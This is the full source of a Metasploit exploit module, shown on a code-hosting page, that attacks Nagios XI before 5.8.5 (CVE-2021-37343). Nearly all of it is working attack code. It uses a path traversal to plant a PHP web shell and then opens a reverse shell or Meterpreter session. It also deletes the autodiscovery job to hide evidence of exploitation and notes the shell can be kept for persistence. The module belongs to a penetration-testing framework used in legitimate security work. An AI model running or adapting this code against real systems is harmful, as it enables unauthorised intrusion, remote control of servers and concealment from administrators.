PageRenderTime 168ms CodeModel.GetById 26ms RepoModel.GetById 3ms app.codeStats 0ms

/modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb

https://github.com/rapid7/metasploit-framework
Ruby | 238 lines | 194 code | 27 blank | 17 comment | 5 complexity | 2060f88ec074bca79ef6b34ed3ede25b MD5 | raw file
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. class MetasploitModule < Msf::Exploit::Remote
  6. Rank = ExcellentRanking
  7. include Msf::Exploit::Remote::HttpClient
  8. include Msf::Exploit::Remote::HTTP::NagiosXi
  9. include Msf::Exploit::CmdStager
  10. include Msf::Exploit::FileDropper
  11. prepend Msf::Exploit::Remote::AutoCheck
  12. def initialize(info = {})
  13. super(
  14. update_info(
  15. info,
  16. 'Name' => 'Nagios XI Autodiscovery Webshell Upload',
  17. 'Description' => %q{
  18. This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343).
  19. The path traversal allows a remote and authenticated administrator to upload a PHP web shell
  20. and execute code as `www-data`. The module achieves this by creating an autodiscovery job
  21. with an `id` field containing a path traversal to a writable and remotely accessible directory,
  22. and `custom_ports` field containing the web shell. A cron file will be created using the chosen
  23. path and file name, and the web shell is embedded in the file.
  24. After the web shell has been written to the victim, this module will then use the web shell to
  25. establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by
  26. the module, and the autodiscovery job is removed as well.
  27. },
  28. 'License' => MSF_LICENSE,
  29. 'Author' => [
  30. 'Claroty Team82', # vulnerability discovery
  31. 'jbaines-r7' # metasploit module
  32. ],
  33. 'References' => [
  34. ['CVE', '2021-37343'],
  35. ['URL', 'https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/']
  36. ],
  37. 'DisclosureDate' => '2021-07-15',
  38. 'Platform' => ['unix', 'linux'],
  39. 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
  40. 'Privileged' => false,
  41. 'Targets' => [
  42. [
  43. 'Unix Command',
  44. {
  45. 'Platform' => 'unix',
  46. 'Arch' => ARCH_CMD,
  47. 'Type' => :unix_cmd,
  48. 'DefaultOptions' => {
  49. 'PAYLOAD' => 'cmd/unix/reverse_openssl'
  50. },
  51. 'Payload' => {
  52. 'Append' => ' & disown'
  53. }
  54. }
  55. ],
  56. [
  57. 'Linux Dropper',
  58. {
  59. 'Platform' => 'linux',
  60. 'Arch' => [ARCH_X86, ARCH_X64],
  61. 'Type' => :linux_dropper,
  62. 'CmdStagerFlavor' => [ 'printf' ],
  63. 'DefaultOptions' => {
  64. 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
  65. }
  66. }
  67. ]
  68. ],
  69. 'DefaultTarget' => 1,
  70. 'DefaultOptions' => {
  71. 'RPORT' => 443,
  72. 'SSL' => true,
  73. 'MeterpreterTryToFork' => true
  74. },
  75. 'Notes' => {
  76. 'Stability' => [CRASH_SAFE],
  77. 'Reliability' => [REPEATABLE_SESSION],
  78. 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
  79. }
  80. )
  81. )
  82. register_options [
  83. OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
  84. OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]),
  85. OptInt.new('DEPTH', [true, 'The depth of the path traversal', 10]),
  86. OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
  87. OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
  88. ]
  89. @webshell_uri = '/includes/components/highcharts/exporting-server/temp/'
  90. @webshell_path = '/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/'
  91. end
  92. # Authenticate and grab the version from the dashboard. Store auth cookies for later user.
  93. def check
  94. login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false)
  95. case login_result
  96. when 1..3 # An error occurred
  97. return CheckCode::Unknown(res_array[0])
  98. when 4
  99. return CheckCode::Detected('Nagios is not fully installed.')
  100. when 5
  101. return CheckCode::Detected('The Nagios license has not been signed.')
  102. end
  103. # res_array[1] cannot be nil since the mixin checks for that already.
  104. @auth_cookies = res_array[1]
  105. nagios_version = nagios_xi_version(res_array[0])
  106. if nagios_version.nil?
  107. return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
  108. end
  109. # affected versions are 5.2.0 -> 5.8.4
  110. if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&
  111. Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')
  112. return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}")
  113. end
  114. CheckCode::Safe("Determined using the self-reported version: #{nagios_version}")
  115. end
  116. # Using the path traversal, upload a php webshell to the remote target
  117. def drop_webshell
  118. autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/')
  119. print_status("Attempting to grab a CSRF token from #{autodisc_uri}")
  120. res = send_request_cgi({
  121. 'method' => 'GET',
  122. 'uri' => autodisc_uri,
  123. 'cookie' => @auth_cookies,
  124. 'vars_get' => {
  125. 'mode' => 'newjob'
  126. }
  127. })
  128. fail_with(Failure::Disconnected, 'Connection failed') unless res
  129. fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
  130. fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')
  131. # snag the nsp token from the response
  132. nsp = get_nsp(res)
  133. fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?
  134. # drop a basic web shell on the server
  135. webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
  136. print_status("Uploading webshell to #{webshell_location}")
  137. php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
  138. payload = 'update=1&' \
  139. "job=#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}&" \
  140. "nsp=#{nsp}&" \
  141. 'address=127.0.0.1%2F0&' \
  142. 'frequency=Yearly&' \
  143. "custom_ports=#{php_webshell}&"
  144. res = send_request_cgi({
  145. 'method' => 'POST',
  146. 'uri' => autodisc_uri,
  147. 'cookie' => @auth_cookies,
  148. 'vars_get' => {
  149. 'mode' => 'newjob'
  150. },
  151. 'data' => payload
  152. })
  153. fail_with(Failure::Disconnected, 'Connection failed') unless res
  154. fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302
  155. # Test the web shell installed by echoing a random string and ensure it appears in the res.body
  156. print_status('Testing if web shell installation was successful')
  157. rand_data = Rex::Text.rand_text_alphanumeric(16..32)
  158. res = execute_via_webshell("echo #{rand_data}")
  159. fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
  160. print_good("Web shell installed at #{webshell_location}")
  161. # This is a great place to leave a web shell for persistence since it doesn't require auth
  162. # to touch it. By default, we'll clean this up but the attacker has to option to leave it
  163. if datastore['DELETE_WEBSHELL']
  164. register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
  165. end
  166. end
  167. # Successful exploitation creates a new job in the autodiscovery view. This function deletes
  168. # the job that there is no evidence of exploitation in the UI.
  169. def cleanup_job
  170. print_status('Deleting autodiscovery job')
  171. res = send_request_cgi({
  172. 'method' => 'POST',
  173. 'uri' => normalize_uri(target_uri.path, '/includes/components/autodiscovery/'),
  174. 'cookie' => @auth_cookies,
  175. 'vars_get' => {
  176. 'mode' => 'deletejob',
  177. 'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}"
  178. }
  179. })
  180. fail_with(Failure::Disconnected, 'Connection failed') unless res
  181. fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302
  182. end
  183. # Executes commands via the uploaded webshell
  184. def execute_via_webshell(cmd)
  185. cmd = Rex::Text.uri_encode(cmd)
  186. res = send_request_cgi({
  187. 'method' => 'GET',
  188. 'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}")
  189. })
  190. fail_with(Failure::Disconnected, 'Connection failed') unless res
  191. fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
  192. res
  193. end
  194. def execute_command(cmd, _opts = {})
  195. execute_via_webshell(cmd)
  196. end
  197. def exploit
  198. # create a randomish web shell name if the user doesn't specify one
  199. @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
  200. drop_webshell
  201. print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
  202. case target['Type']
  203. when :unix_cmd
  204. execute_command(payload.encoded)
  205. when :linux_dropper
  206. execute_cmdstager
  207. end
  208. ensure
  209. cleanup_job
  210. end
  211. end